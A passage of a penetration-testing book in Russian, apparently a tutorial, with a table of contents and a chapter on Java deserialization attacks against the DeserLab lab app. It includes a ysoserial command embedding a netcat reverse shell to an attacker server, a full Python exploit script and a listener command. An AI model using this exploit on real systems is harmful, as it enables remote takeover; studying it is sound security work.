- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
Атака на пользовательские протоколы |
|||
w Click |
to |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
Эксплойт для осуществления атаки |
|||
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
199 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Атаки, связанные с десериализацией Java-объектов, возможны, потому что Java будет выполнять множество методов в стремлении десериализовать объект. Если мы контролируем то, на какие свойства ссылаются эти методы, то можем контролировать поток выполнения приложения. Это POP и атака, связанная с повторным использованием кода, похожая на возвратно-ориенти-
рованное программирование(ВОП),return-orientedprogramming(ROP).ROP
используется при разработке эксплойтов для выполнения кода путем ссылки на существующие байты в памяти и использования побочного эффекта ин-
струкции x86 return.
Если передадим сериализованный объект с правильными свойствами, то сможем создать цепочку выполнения, которая в конечном итоге приведет к выполнению кода на сервере приложений. Звучит как трудновыполнимая задача для разработчика, не работающего с Java. В конце концов, вы должны быть знакомы с внутренней работой различных библиотек, предоставляемых Java или сторонними разработчиками. К счастью, для такой тяжелой работы предназначен отличный инструмент: ysoserial.
ysoserial разработан Крисом Фрохоффом (Chris Frohoff), чтобы облегчить создание сериализованных объектов и использовать их для атаки на приложения.Он может создавать полезные нагрузки для выполнения кода (цепочки POP) для многих сторонних библиотек, часто используемых приложениями
Java:
Spring;
Groovy;
Commons Collections;Jython
и т.д.
Исходный код ysoserial и JAR-файлы можно загрузить отсюда: https://github.com/frohoff/ysoserial.
Мы знаем, что приложение, выбранное в качестве объекта атаки, использует библиотеку Groovy, потому что у нас есть доступ к JAR-файлу и исходному коду.Однако это не всегдатак,когда речьидето корпоративных приложениях, и у нас не всегда может быть доступ к исходному коду во время тестирования. Если уязвимое приложение работает на стороне сервера и наше единственное взаимодействие с ним происходит через GET-запрос по HTTP-протоколу, нам нужно полагаться на отдельную уязвимость, приводящую к утечке информации,чтобы узнать,какую библиотеку следует настроитьдля генерации цепочки гаджетов. Конечно, в качестве альтернативы можно просто попробовать
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 200 Глава 8.Вредоносная сериализация |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
каждую известную цепочку гаджетов,пока одна из них не даст положительно- |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
го результата. Это не очень элегантно и очень шумно, но эффективно.
Для этого конкретного приложения ysoserial может быстро сгенерировать сериализованный объект с соответствующими гаджетами для выполнения кода в приложениях, реализующих библиотеку Groovy.
java -jar ysoserial.jar [payload_name]
"[shell command to execute]"
В нашем случае полезной нагрузкой будет Groovy1,а команда для выполне- ния–реверснаяоболочкаnetcat,ведущаяобратнонанашкомандно-контроль- ный сервер, c2.spider.ml, как показано ниже.
root@kali:~/tools# java -jar ysoserial.jar Groovy1 "nc -v c2.spider.ml 443 -e /bin/bash" > deserlab_payload.bin
По умолчанию байты выводятся на консоль, поэтому мы должны перенаправитьих в файл deserlab_payload.bin для использования в своем эксплойте. Шестнадцатеричный дамп сгенерированной полезной нагрузки показывает четыре знакомых магических байта сериализации и последовательность версий,за которыми следуют флаги 0x73 0x72,дополнительно описывающие, какиеданные были сериализованы.Можно увидетьшестнадцатеричныйдамп файла полезной нагрузки, используя команду xxd, как показано ниже.
Мыдаем усеченный вариантвывода,потому чтодля создания гаджета,приводящего к выполнению кода, ysoserial создает довольно большой сериализованный объект. Сама по себе эта полезная нагрузка недостаточна для атаки на DeserLab. Нельзя просто подключиться к серверу, отправить байты полезной нагрузки и создать оболочку.Пользовательский протокол,реализованный DeserLab, ожидает, что перед приведением полезной нагрузки будет отправлено несколько дополнительных байтов. Во время нашей записи тестового пакета, как вы помните, перед хешированием клиент и сервис обмениваются приветствиями. Если проверим содержимое пакета, то сможем определить, в какой точке потока обмена данными можно внедрить нашу полезную нагрузку.Мы знаем,что сервер ожидает сериализованный объект HashRequest после отправки строки name.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атака на пользовательские протоколы 201 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Строкисотступом–этопакеты,полученныеотсервера,авсеостальное–это |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
то,что мы отправили нашему клиенту.
И снова мы видим магические байты,запускающие поток,за которыми следуют пакеты приветствия протокола: 0xF0 0x00 0xBA 0xAA и,наконец,версия протокола 0x01 0x01. Каждому пакету, отправляемому сервером или клиентом, будет предшествовать 0x77, указывающий, что поступает блок данных, и длину этого блока (0x02 в случае версии протокола).
Необязательнопониматьзначениекаждогобайта,потомуотчетливовидно, где начинается сериализованная полезная нагрузка. Байты 0x73 и 0x72 (которые эквивалентны строчным буквам s и r соответственно) обозначают начало сериализованного объекта, как показано в этом выводе.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 202 Глава 8.Вредоносная сериализация |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Чтобы передать пользовательскую полезную нагрузку и эксплуатировать |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
приложение,напишемсценарийнаPython,спомощьюкоторогоподключимся
кприложению DeserLab и осуществим следующие действия.
1.Отправим пакеты с приветствием.
2.Передадим номер версии.
3.Отправим имя клиента: test.
4.Передадим код эксплойта, сгенерированный с помощью ysoserial.
ДлясозданиякодаэксплойтабудемиспользоватьPython,посколькуонупрощает отправку данных по сети. В начале сценария настроим среду и создадим сокетдля атакуемого хоста и порта.
Сначала импортируем библиотеку socket и установим пару переменных, которые описывают нашу цель.
import socket
target_host = 'deserlab.app.internal' target_port = 4321
Мы скоро вернемся к этим переменным. Далее прочитаем файл deserlab_ payload.bin в переменную с именем payload, используя функции open(), read() и, наконец, close(), как показано во фрагменте кода.
# Open the ysoserial generated exploit payload print "[+] Reading payload file..."
f = open('deserlab_payload.bin', 'rb') payload = f.read()
f.close()
Переменная payload теперь содержит необработанные байты, сгенерированные ysoserial, которые будем использовать для эксплуатации атакуемого хоста. Следующим шагом является создание сокета для серверного приложения DeserLab и сохранение полученного объекта socket в переменной с именем target. Мы будем использовать эту переменную для отправки и получения данных из соединения.
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target.connect((target_host, target_port))
На этом этапе наш сценарий будет эмулировать клиента DeserLab, и для успешного подключения и возможности отправки нашего вредоносного кода необходимо выполнить несколько шагов. Напомним, что клиент отправляет некоторые необходимые байты, в том числе пакет приветствия и версию клиента.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атака на пользовательские протоколы 203 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Будемиспользоватьметодыsend() иrecv() дляотправкиичтенияответов, |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
чтобы обмен данными мог продолжиться. Поскольку некоторые байты находятся за пределами читаемого диапазона ASCII, следует экранировать их, используя их шестнадцатеричный эквивалент. Python дает такую возможность путем использования обратной косой черты (\) и префикса x,который ставится перед шестнадцатеричными байтами. Например, символ A в Python (и других языках) может иметь вид \x41.
После выполнения отправки мы также должны получать любые данные, отправленные с сервера.
Нам не нужно хранить ответ сервера, но мы должны его получить, чтобы очистить буфер и позволить соединению поддерживаться.
Сначала отправим магические байты 0xAC 0xED, затем пакет приветствия и, наконец, ожидаемую версию клиента. В качестве префикса будем использовать байт 0x77, за которым сразу следует длина данных. Например, версия клиента 0x01 0x01 должна иметь префикс 0x77 (указание на пакет данных) и 0x02 (длина пакета данных).
Приведенный ниже код отправит магические байты, пакет приветствия и версию клиента.
#Отправка магических байтов и версии target.send("\xAC\xED\x00\x05") target.recv(1024)
#Отправка пакета 'hello' target.send("\x77\x04") target.send("\xF0\x00\xBA\xAA") target.recv(1024)
#Отправка клиентской версии target.send("\x77\x02") target.send("\x01\x01") target.recv(1024)
Мытакжедолжны отправитьимя клиента,которое можетбытьпроизвольным. Просто нужно убедиться,что префикс 0x77 и длина данных верны.
# Отправка имени клиента: тест target.send("\x77\x06") target.send("\x00\x04\x74\x65\x73\x74")
Наконец,мыдолжныудалитьмагическиебайтыизсамойполезнойнагрузки, поскольку мы уже отправили их. Сервер ожидает объекта без этих данных. Python позволяет удалить первые четыре байта,используя нотацию массива [4:].
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 204 Глава 8.Вредоносная сериализация |
|||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
# Удаляем магические байты 0xAC 0xED из полезной нагрузки |
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
-xcha |
|
|
|
|
|
payload = payload[4:]
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Последний шаг– отправка полезной нагрузки ysoserial, которая после десериализации, надеемся, выполнит нашу реверсную оболочку.
# Отправка ysoserial жертве print "[+] Sending payload..." target.send(payload) target.recv(1024)
print «[+] Done.»
Финальный сценарий эксплойта exploit_deserlab.py должен выглядеть так:
import socket
target_host = 'deserlab.app.internal' target_port = 4321
# Открытие сгенерированной полезной нагрузки ysoserial print "[+] Reading payload file..."
f = open('deserlab_payload.bin', 'rb') payload = f.read()
f.close()
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target.connect((target_host, target_port))
# Отправка магических байтов и версии target.send(«\xAC\xED\x00\x05») target.recv(1024)
# Отправка пакета 'hello' target.send(«\x77\x04») target.send("\xF0\x00\xBA\xAA") target.recv(1024)
#Отправка клиентской версии target.send(«\x77\x02») target.send("\x01\x01") target.recv(1024)
#Отправка имени клиента: тест target.send("\x77\x06") target.send("\x00\x04\x74\x65\x73\x74")
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
Атака на пользовательские протоколы |
|||
w Click |
to |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
# Удаляем магические байты 0xAC 0xED из полезной нагрузки |
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
payload = payload[4:]
# Отправка ysoserial жертве print "[+] Sending payload..." target.send(payload) target.recv(1024)
print "[+] Done."
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
205 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Перед запуском эксплойта мы должны убедиться,что сервер netcat слушает на нашем сервере c2.spider.ml на порту 443. Если все прошло успешно, мы получим доступ к серверу DeserLab.
Можно запуститьсервер netcat на порту 443 с помощью следующей команды:
root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
Все,чтоосталосьсделать,–этозапуститьсценарийPythonнанашеймашине и надеяться на лучшее.
root@kali:~/tools# python exploit_deserlab.py
[+]Reading payload file...
[+]Sending payload...
Done.
root@kali:~/tools#
Если проверим сгенерированный трафик, то увидим инициацию протокола и пакеты тестовой строки, за которыми сразу же следует сериализованный объект, сгенерированный с помощью ysoserial, обозначенный байтами 0x73 0x72 или sr.